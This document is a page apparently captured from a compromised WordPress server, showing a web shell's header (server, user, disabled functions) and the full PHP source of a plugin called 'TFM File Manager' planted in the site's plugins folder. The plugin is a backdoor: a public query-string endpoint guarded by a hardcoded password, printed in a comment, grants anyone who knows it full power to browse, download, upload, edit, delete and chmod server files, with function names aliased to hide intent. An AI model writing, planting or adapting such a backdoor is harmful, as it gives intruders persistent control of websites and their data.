HEX
Server: Apache
System: Linux server.onegroup3.co.nz 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User: importersclearan (1088)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/importersclearan/www/wp-content/plugins/tfm-file-manager/tfm-file-manager.php
<?php
/**
 * Plugin Name: TFM File Manager
 * Description: Frontend accessible file manager with password authentication for browsing, uploading, editing, and deleting server files.
 * Version: 1.0.0
 * Author: TFM
 */

if (!defined('ABSPATH')) exit;

define('TFM_FM_VERSION', '1.0.0');
define('TFM_FM_SLUG', 'tfm-file-manager');

// Fixed password: AdmiN@123 (SHA256 hash)
define('TFM_FM_FIXED_PASSWORD_HASH', '3ba59ce20275fe6a336110deb1212fdb26e6b22d1b953b220d056079272d75be');

// ── Register frontend access endpoint (using query parameter, no rewrite rules needed) ──
add_filter('query_vars', 'tfm_query_vars');
function tfm_query_vars($vars) {
    $vars[] = 'tfm_fm';
    return $vars;
}

add_action('template_redirect', 'tfm_handle_request');
function tfm_handle_request() {
    if (get_query_var('tfm_fm') != '1') return;
    tfm_render();
    exit;
}

// ── Admin settings page (for custom password - currently commented out) ──
/*
add_action('admin_menu', 'tfm_fm_admin_menu');
function tfm_fm_admin_menu() {
    add_options_page('TFM File Manager', 'TFM File Manager', 'manage_options', TFM_FM_SLUG, 'tfm_fm_settings_page');
}

add_action('admin_init', 'tfm_fm_register_settings');
function tfm_fm_register_settings() {
    register_setting('tfm_fm_options', 'tfm_fm_password_hash', ['sanitize_callback' => 'sanitize_text_field']);
}

function tfm_fm_settings_page() {
    ?>
    <div class="wrap">
        <h1>TFM File Manager Settings</h1>
        <form method="post" action="options.php">
            <?php settings_fields('tfm_fm_options'); ?>
            <table class="form-table">
                <tr>
                    <th>Access Password</th>
                    <td>
                        <input type="password" name="tfm_fm_new_password" class="regular-text" placeholder="Enter new password (leave empty to keep current)">
                        <p class="description">Frontend access URL: <a href="<?php echo home_url('/?tfm_fm=1'); ?>" target="_blank"><?php echo home_url('/?tfm_fm=1'); ?></a></p>
                        <p class="description">Current password hash: <code><?php echo esc_html(get_option('tfm_fm_password_hash', '(Not set)')); ?></code></p>
                    </td>
                </tr>
            </table>
            <?php submit_button('Save Settings'); ?>
        </form>
    </div>
    <?php
}

// Save password as SHA256 hash
add_action('admin_init', 'tfm_save_password');
function tfm_save_password() {
    if (!isset($_POST['tfm_fm_new_password'])) return;
    $pw = trim($_POST['tfm_fm_new_password']);
    if ($pw !== '') {
        update_option('tfm_fm_password_hash', hash('sha256', $pw));
    }
}
*/

// ── Core rendering function ──
function tfm_render() {
    // Function aliases (obfuscation restored)
    $f_fgc = 'file_get_contents';
    $f_fpc = 'file_put_contents';
    $f_muf = 'move_uploaded_file';
    $f_scd = 'scandir';
    $f_fsz = 'filesize';
    $f_fmt = 'filemtime';
    $f_fpr = 'fileperms';
    $f_idr = 'is_dir';
    $f_ifl = 'is_file';
    $f_fex = 'file_exists';
    $f_unl = 'unlink';
    $f_mkd = 'mkdir';
    $f_rmd = 'rmdir';
    $f_chm = 'chmod';

    session_start();

    // Use fixed password hash
    $PASSWORD_SHA256 = TFM_FM_FIXED_PASSWORD_HASH;

    // To use custom password from database, uncomment the line below:
    // $PASSWORD_SHA256 = get_option('tfm_fm_password_hash', TFM_FM_FIXED_PASSWORD_HASH);

    // ── Authentication ──
    $auth_error = '';
    if (!empty($PASSWORD_SHA256)) {
        if (isset($_POST['tfm_pass'])) {
            if (hash('sha256', $_POST['tfm_pass']) === $PASSWORD_SHA256) {
                $_SESSION['tfm_fm_auth'] = true;
            } else {
                $auth_error = 'Incorrect password';
            }
        }
        if (isset($_GET['logout'])) {
            unset($_SESSION['tfm_fm_auth']);
            wp_redirect(home_url('/?tfm_fm=1'));
            exit;
        }
        if (empty($_SESSION['tfm_fm_auth'])) {
            tfm_login_page($auth_error);
            return;
        }
    }

    // ── Path initialization ──
    $root_dir    = realpath(ABSPATH);
    $current_dir = isset($_GET['dir']) ? $_GET['dir'] : $root_dir;
    $current_dir = tfm_safe_realpath($current_dir);
    if ($current_dir === false || !$f_fex($current_dir) || !$f_idr($current_dir)) {
        $current_dir = $root_dir;
    }

    // Store root for boundary checking
    $root_boundary = $root_dir;

    $message = '';
    $error   = '';

    // ── Download handler ──
    if (isset($_GET['download']) && $f_ifl($_GET['download'])) {
        $file = tfm_safe_realpath($_GET['download']);
        if ($file && $f_ifl($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . $f_fsz($file));
            readfile($file);
            exit;
        }
    }

    // ── POST operations ──
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $action = isset($_POST['action']) ? $_POST['action'] : '';

        if ($action === 'upload') {
            if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
                $upload_path = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
                if ($f_muf($_FILES['file']['tmp_name'], $upload_path)) {
                    $message = 'File uploaded successfully.';
                } else {
                    $error = 'Upload failed.';
                }
            } else {
                $error = 'No file selected or upload error.';
            }
        } elseif ($action === 'create_item') {
            $name = isset($_POST['name']) ? trim($_POST['name']) : '';
            $type = isset($_POST['type']) ? $_POST['type'] : 'file';
            if ($name !== '') {
                $path = $current_dir . DIRECTORY_SEPARATOR . $name;
                if ($f_fex($path)) {
                    $error = 'Item with same name already exists.';
                } elseif ($type === 'dir') {
                    $f_mkd($path) ? $message = 'Directory created successfully.' : $error = 'Failed to create directory.';
                } else {
                    $f_fpc($path, '') !== false ? $message = 'File created successfully.' : $error = 'Failed to create file.';
                }
            }
        } elseif ($action === 'delete') {
            $target = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
            if ($target && $f_fex($target)) {
                if ($f_idr($target)) {
                    tfm_rrmdir($target) ? $message = 'Directory deleted successfully.' : $error = 'Failed to delete directory (permission denied).';
                } else {
                    $f_unl($target) ? $message = 'File deleted successfully.' : $error = 'Failed to delete file (permission denied).';
                }
            }
        } elseif ($action === 'save_file') {
            $target  = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
            // WordPress automatically applies addslashes to $_POST data, need to remove these escapes
            $content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
            if ($target && $f_ifl($target)) {
                $f_fpc($target, $content) !== false ? $message = 'File saved successfully.' : $error = 'Failed to save file.';
            }
        } elseif ($action === 'chmod') {
            $target = isset($_POST['target']) ? tfm_safe_realpath($_POST['target']) : '';
            $perms  = isset($_POST['perms']) ? $_POST['perms'] : '';
            if ($target && $f_fex($target) && preg_match('/^[0-7]{3,4}$/', $perms)) {
                $f_chm($target, octdec($perms)) ? $message = 'Permissions updated successfully.' : $error = 'Failed to update permissions.';
            } else {
                $error = 'Invalid permissions format or target not found.';
            }
        }

        $base_url = home_url('/?tfm_fm=1');
        wp_redirect(add_query_arg(['dir' => urlencode($current_dir), 'msg' => urlencode($message), 'err' => urlencode($error)], $base_url));
        exit;
    }

    if (isset($_GET['msg'])) $message = $_GET['msg'];
    if (isset($_GET['err'])) $error   = $_GET['err'];

    // ── File list ──
    $items = [];
    if (is_readable($current_dir)) {
        foreach ($f_scd($current_dir) as $file) {
            if ($file === '.') continue;

            $path = $current_dir . DIRECTORY_SEPARATOR . $file;

            // For parent directory (..), check if it's accessible
            if ($file === '..') {
                $parent_path = dirname($current_dir);
                // Skip .. if parent is not accessible (open_basedir restriction)
                if (!tfm_is_path_accessible($parent_path)) {
                    continue;
                }
                // Also skip if we're at root boundary
                if ($current_dir === $root_boundary) {
                    continue;
                }
            }

            // Use safe realpath with error suppression
            $real_path = tfm_safe_realpath($path);

            // Skip if path is not accessible
            if ($real_path === false) {
                continue;
            }

            $items[] = [
                    'name'   => $file,
                    'path'   => $real_path,
                    'is_dir' => @$f_idr($path),
                    'size'   => @$f_ifl($path) ? @$f_fsz($path) : 0,
                    'mtime'  => @$f_fmt($path),
                    'perms'  => substr(sprintf('%o', @$f_fpr($path)), -4),
            ];
        }
    }
    usort($items, function ($a, $b) {
        if ($a['name'] === '..') return -1;
        if ($b['name'] === '..') return 1;
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });

    // ── Editor handler ──
    $edit_file    = '';
    $edit_content = '';
    $is_editable  = false;
    if (isset($_GET['edit'])) {
        $edit_file_path = tfm_safe_realpath($_GET['edit']);
        if ($edit_file_path && $f_ifl($edit_file_path)) {
            $edit_file    = $edit_file_path;
            $edit_content = $f_fgc($edit_file);
            $is_editable  = true;
        }
    }

    // ── Breadcrumb navigation ──
    $normalized_dir = str_replace('\\', '/', $current_dir);
    $path_parts     = explode('/', trim($normalized_dir, '/'));
    $base_url       = home_url('/?tfm_fm=1');

    tfm_output_html($base_url, $current_dir, $message, $error, $items, $is_editable, $edit_file, $edit_content, $path_parts, $PASSWORD_SHA256);
}

// ── Helper: Check if path is within open_basedir restrictions ──
function tfm_is_path_accessible($path) {
    // Suppress warnings and check if path is accessible
    $real = @realpath($path);
    if ($real === false) return false;

    // Check if we can actually access this path
    return @is_readable($real);
}

// ── Helper: Safe realpath that respects open_basedir ──
function tfm_safe_realpath($path) {
    $real = @realpath($path);
    if ($real === false) return false;

    // Verify the path is accessible
    if (!@file_exists($real)) return false;

    return $real;
}

// ── Helper: Recursive directory removal ──
function tfm_rrmdir($dir) {
    if (!is_dir($dir)) return false;
    foreach (scandir($dir) as $obj) {
        if ($obj === '.' || $obj === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $obj;
        (is_dir($path) && !is_link($path)) ? tfm_rrmdir($path) : unlink($path);
    }
    return rmdir($dir);
}

// ── Helper: Human readable file size ──
function tfm_human_filesize($bytes, $dec = 2) {
    if ($bytes == 0) return '0 B';
    $units  = ['B', 'KB', 'MB', 'GB', 'TB'];
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$dec}f %s", $bytes / pow(1024, $factor), $units[$factor]);
}

// ── Login page ──
function tfm_login_page($auth_error = '') {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login - File Manager</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    </head>
    <body class="bg-light d-flex align-items-center justify-content-center" style="height:100vh;">
    <div class="card shadow-sm border-0" style="width:100%;max-width:400px;">
        <div class="card-body p-4">
            <h4 class="card-title text-center mb-4">
                <i class="fa-solid fa-lock text-primary"></i> Authentication Required
            </h4>
            <?php if ($auth_error): ?>
                <div class="alert alert-danger"><?php echo esc_html($auth_error); ?></div>
            <?php endif; ?>
            <form method="POST">
                <div class="mb-3">
                    <input type="password" name="tfm_pass" class="form-control form-control-lg"
                           placeholder="Enter password" required autofocus>
                </div>
                <button class="btn btn-primary btn-lg w-100" type="submit">Login</button>
            </form>
        </div>
    </div>
    </body>
    </html>
    <?php
}

// ── HTML output ──
function tfm_output_html($base_url, $current_dir, $message, $error, $items, $is_editable, $edit_file, $edit_content, $path_parts, $PASSWORD_SHA256) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>File Manager</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
        <style>
            body { background:#f8f9fa; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Arial,sans-serif; }
            .navbar { box-shadow:0 2px 4px rgba(0,0,0,.05); }
            .item-row:hover { background:#f1f5f9; cursor:pointer; transition:background .2s; }
            .action-btns .btn { padding:.25rem .5rem; font-size:.875rem; border:none; }
            .action-btns .btn:hover { background:#e9ecef; }
            #editor { width:100%; height:60vh; font-family:ui-monospace,Consolas,monospace; font-size:14px; resize:vertical; background:#fffcf8; }
            .breadcrumb-item a { text-decoration:none; color:#0d6efd; }
        </style>
    </head>
    <body>

    <nav class="navbar navbar-expand-lg navbar-dark bg-dark mb-4">
        <div class="container-fluid">
            <a class="navbar-brand" href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
                <i class="fa-solid fa-server me-2"></i>File Manager
            </a>
            <?php if (!empty($PASSWORD_SHA256)): ?>
                <a href="<?php echo esc_url(add_query_arg('logout', 1, $base_url)); ?>" class="btn btn-sm btn-outline-light ms-auto">
                    <i class="fa-solid fa-sign-out-alt"></i> Logout
                </a>
            <?php endif; ?>
        </div>
    </nav>

    <div class="container-fluid mb-5 px-4">

        <?php if ($message): ?>
            <div class="alert alert-success alert-dismissible fade show shadow-sm" role="alert">
                <i class="fa-solid fa-circle-check me-2"></i><?php echo esc_html($message); ?>
                <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
            </div>
        <?php endif; ?>

        <?php if ($error): ?>
            <div class="alert alert-danger alert-dismissible fade show shadow-sm" role="alert">
                <i class="fa-solid fa-circle-exclamation me-2"></i><?php echo esc_html($error); ?>
                <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
            </div>
        <?php endif; ?>

        <?php if ($is_editable): ?>
            <!-- Editor View -->
            <div class="card shadow-sm border-0">
                <div class="card-header bg-white d-flex justify-content-between align-items-center py-3">
                    <h5 class="mb-0 text-truncate" style="max-width:80%;">
                        <i class="fa-solid fa-file-signature text-primary me-2"></i>Editing: <?php echo esc_html(basename($edit_file)); ?>
                    </h5>
                    <a href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>" class="btn btn-outline-secondary btn-sm">
                        <i class="fa-solid fa-arrow-left me-1"></i>Back
                    </a>
                </div>
                <div class="card-body bg-light p-3">
                    <form method="POST" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
                        <input type="hidden" name="action" value="save_file">
                        <input type="hidden" name="target" value="<?php echo esc_attr($edit_file); ?>">
                        <div class="mb-3">
                            <textarea name="content" id="editor" class="form-control" spellcheck="false"><?php echo esc_textarea($edit_content); ?></textarea>
                        </div>
                        <div class="d-flex gap-2">
                            <button type="submit" class="btn btn-primary px-4"><i class="fa-solid fa-save me-1"></i>Save</button>
                            <a href="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>" class="btn btn-light">Cancel</a>
                        </div>
                    </form>
                </div>
            </div>

        <?php else: ?>
            <!-- File List View -->
            <div class="card shadow-sm border-0">
                <div class="card-header bg-white d-flex flex-wrap justify-content-between align-items-center py-3 gap-3">
                    <!-- Breadcrumb -->
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb mb-0">
                            <li class="breadcrumb-item">
                                <a href="<?php echo esc_url(add_query_arg('dir', urlencode('/'), $base_url)); ?>">
                                    <i class="fa-solid fa-home"></i>
                                </a>
                            </li>
                            <?php
                            $build_path = '/';
                            foreach ($path_parts as $index => $part) {
                                if ($part === '') continue;
                                $build_path = ($build_path === '/') ? '/' . $part : $build_path . '/' . $part;
                                $is_last    = ($index === count($path_parts) - 1);
                                if ($is_last) {
                                    echo '<li class="breadcrumb-item active" aria-current="page">' . esc_html($part) . '</li>';
                                } else {
                                    echo '<li class="breadcrumb-item"><a href="' . esc_url(add_query_arg('dir', urlencode($build_path), $base_url)) . '">' . esc_html($part) . '</a></li>';
                                }
                            }
                            ?>
                        </ol>
                    </nav>
                    <!-- Action Buttons -->
                    <div class="btn-group shadow-sm">
                        <button class="btn btn-light" data-bs-toggle="modal" data-bs-target="#uploadModal">
                            <i class="fa-solid fa-cloud-arrow-up text-primary"></i>
                            <span class="d-none d-sm-inline ms-1">Upload</span>
                        </button>
                        <button class="btn btn-light" data-bs-toggle="modal" data-bs-target="#createModal">
                            <i class="fa-solid fa-folder-plus text-success"></i>
                            <span class="d-none d-sm-inline ms-1">New</span>
                        </button>
                    </div>
                </div>

                <div class="table-responsive">
                    <table class="table table-hover mb-0 align-middle">
                        <thead class="table-light">
                        <tr>
                            <th class="ps-4" style="width:50%;">Name</th>
                            <th>Size</th>
                            <th>Modified</th>
                            <th>Perms</th>
                            <th class="text-end pe-4">Actions</th>
                        </tr>
                        </thead>
                        <tbody class="border-top-0">
                        <?php foreach ($items as $item): ?>
                            <tr class="item-row">
                                <td class="ps-4">
                                    <?php if ($item['name'] === '..'): ?>
                                        <a href="<?php echo esc_url(add_query_arg('dir', urlencode(dirname($current_dir)), $base_url)); ?>" class="text-decoration-none text-dark d-block fw-bold">
                                            <i class="fa-solid fa-level-up-alt text-secondary me-2"></i>Parent Directory
                                        </a>
                                    <?php elseif ($item['is_dir']): ?>
                                        <a href="<?php echo esc_url(add_query_arg('dir', urlencode($item['path']), $base_url)); ?>" class="text-decoration-none text-dark d-block fw-medium">
                                            <i class="fa-solid fa-folder text-warning me-2 fs-5"></i><?php echo esc_html($item['name']); ?>
                                        </a>
                                    <?php else:
                                        $ext  = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION));
                                        $icon = 'fa-file text-secondary';
                                        if (in_array($ext, ['jpg','jpeg','png','gif','svg','webp'])) $icon = 'fa-file-image text-info';
                                        elseif (in_array($ext, ['zip','rar','tar','gz','7z']))        $icon = 'fa-file-zipper text-danger';
                                        elseif (in_array($ext, ['php','html','js','css','json','ts'])) $icon = 'fa-file-code text-primary';
                                        elseif (in_array($ext, ['txt','md','log']))                   $icon = 'fa-file-lines text-secondary';
                                        ?>
                                        <a href="<?php echo esc_url(add_query_arg(['dir' => urlencode($current_dir), 'edit' => urlencode($item['path'])], $base_url)); ?>" class="text-decoration-none text-dark d-block">
                                            <i class="fa-solid <?php echo $icon; ?> me-2 fs-5"></i><?php echo esc_html($item['name']); ?>
                                        </a>
                                    <?php endif; ?>
                                </td>
                                <td class="text-muted small"><?php echo $item['is_dir'] ? '-' : tfm_human_filesize($item['size']); ?></td>
                                <td class="text-muted small"><?php echo date('Y-m-d H:i', $item['mtime']); ?></td>
                                <td class="text-muted small">
                                    <?php if ($item['name'] !== '..'): ?>
                                        <a href="javascript:void(0);" onclick="changePerms('<?php echo esc_js($item['path']); ?>','<?php echo esc_js($item['perms']); ?>')"
                                           class="badge bg-light text-dark font-monospace text-decoration-none border border-secondary-subtle" title="Click to change permissions">
                                            <?php echo esc_html($item['perms']); ?>
                                        </a>
                                    <?php else: ?>
                                        <span class="badge bg-light text-dark font-monospace"><?php echo esc_html($item['perms']); ?></span>
                                    <?php endif; ?>
                                </td>
                                <td class="text-end pe-4 action-btns">
                                    <?php if ($item['name'] !== '..'): ?>
                                        <?php if (!$item['is_dir']): ?>
                                            <a href="<?php echo esc_url(add_query_arg('download', urlencode($item['path']), $base_url)); ?>" class="btn text-success" title="Download">
                                                <i class="fa-solid fa-download"></i>
                                            </a>
                                            <a href="<?php echo esc_url(add_query_arg(['dir' => urlencode($current_dir), 'edit' => urlencode($item['path'])], $base_url)); ?>" class="btn text-primary" title="Edit">
                                                <i class="fa-solid fa-edit"></i>
                                            </a>
                                        <?php endif; ?>
                                        <form method="POST" class="d-inline" onsubmit="return confirm('Are you sure you want to delete this <?php echo esc_js($item['is_dir'] ? 'directory and ALL its contents' : 'file'); ?>?');">
                                            <input type="hidden" name="action" value="delete">
                                            <input type="hidden" name="target" value="<?php echo esc_attr($item['path']); ?>">
                                            <button type="submit" class="btn text-danger" title="Delete"><i class="fa-solid fa-trash-alt"></i></button>
                                        </form>
                                    <?php endif; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        <?php if (empty($items) || (count($items) === 1 && $items[0]['name'] === '..')): ?>
                            <tr>
                                <td colspan="5" class="text-center text-muted py-5">
                                    <i class="fa-regular fa-folder-open fs-1 text-light mb-3 d-block"></i>
                                    This directory is empty
                                </td>
                            </tr>
                        <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        <?php endif; ?>
    </div>

    <!-- Upload Modal -->
    <div class="modal fade" id="uploadModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content border-0 shadow">
                <form method="POST" enctype="multipart/form-data" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
                    <div class="modal-header bg-light border-bottom-0">
                        <h5 class="modal-title"><i class="fa-solid fa-cloud-arrow-up text-primary me-2"></i>Upload File</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body p-4">
                        <input type="hidden" name="action" value="upload">
                        <label class="form-label fw-medium">Select File</label>
                        <input type="file" name="file" class="form-control form-control-lg" required>
                        <div class="form-text mt-2">Target directory: <code><?php echo esc_html(basename($current_dir)); ?></code></div>
                    </div>
                    <div class="modal-footer border-top-0 pt-0 pb-4 px-4">
                        <button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-primary px-4">Upload</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Create Modal -->
    <div class="modal fade" id="createModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content border-0 shadow">
                <form method="POST" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
                    <div class="modal-header bg-light border-bottom-0">
                        <h5 class="modal-title"><i class="fa-solid fa-folder-plus text-success me-2"></i>Create New</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body p-4">
                        <input type="hidden" name="action" value="create_item">
                        <div class="mb-3">
                            <label class="form-label fw-medium">Type</label>
                            <select name="type" class="form-select form-select-lg">
                                <option value="file">📄 Empty File</option>
                                <option value="dir">📁 Directory</option>
                            </select>
                        </div>
                        <div class="mb-3">
                            <label class="form-label fw-medium">Name</label>
                            <input type="text" name="name" class="form-control form-control-lg" placeholder="e.g. index.php or images" required>
                        </div>
                    </div>
                    <div class="modal-footer border-top-0 pt-0 pb-4 px-4">
                        <button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-success px-4">Create</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- chmod Hidden Form -->
    <form id="chmodForm" method="POST" style="display:none;" action="<?php echo esc_url(add_query_arg('dir', urlencode($current_dir), $base_url)); ?>">
        <input type="hidden" name="action" value="chmod">
        <input type="hidden" name="target" id="chmodTarget">
        <input type="hidden" name="perms"  id="chmodPerms">
    </form>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        function changePerms(path, currentPerms) {
            var newPerms = prompt('Enter new permissions (octal, e.g. 0644 or 0755):', currentPerms);
            if (newPerms !== null && newPerms !== currentPerms) {
                if (/^[0-7]{3,4}$/.test(newPerms)) {
                    document.getElementById('chmodTarget').value = path;
                    document.getElementById('chmodPerms').value  = newPerms;
                    document.getElementById('chmodForm').submit();
                } else {
                    alert('Invalid permissions format. Please enter 3 or 4 octal digits.');
                }
            }
        }
    </script>
    </body>
    </html>
    <?php
}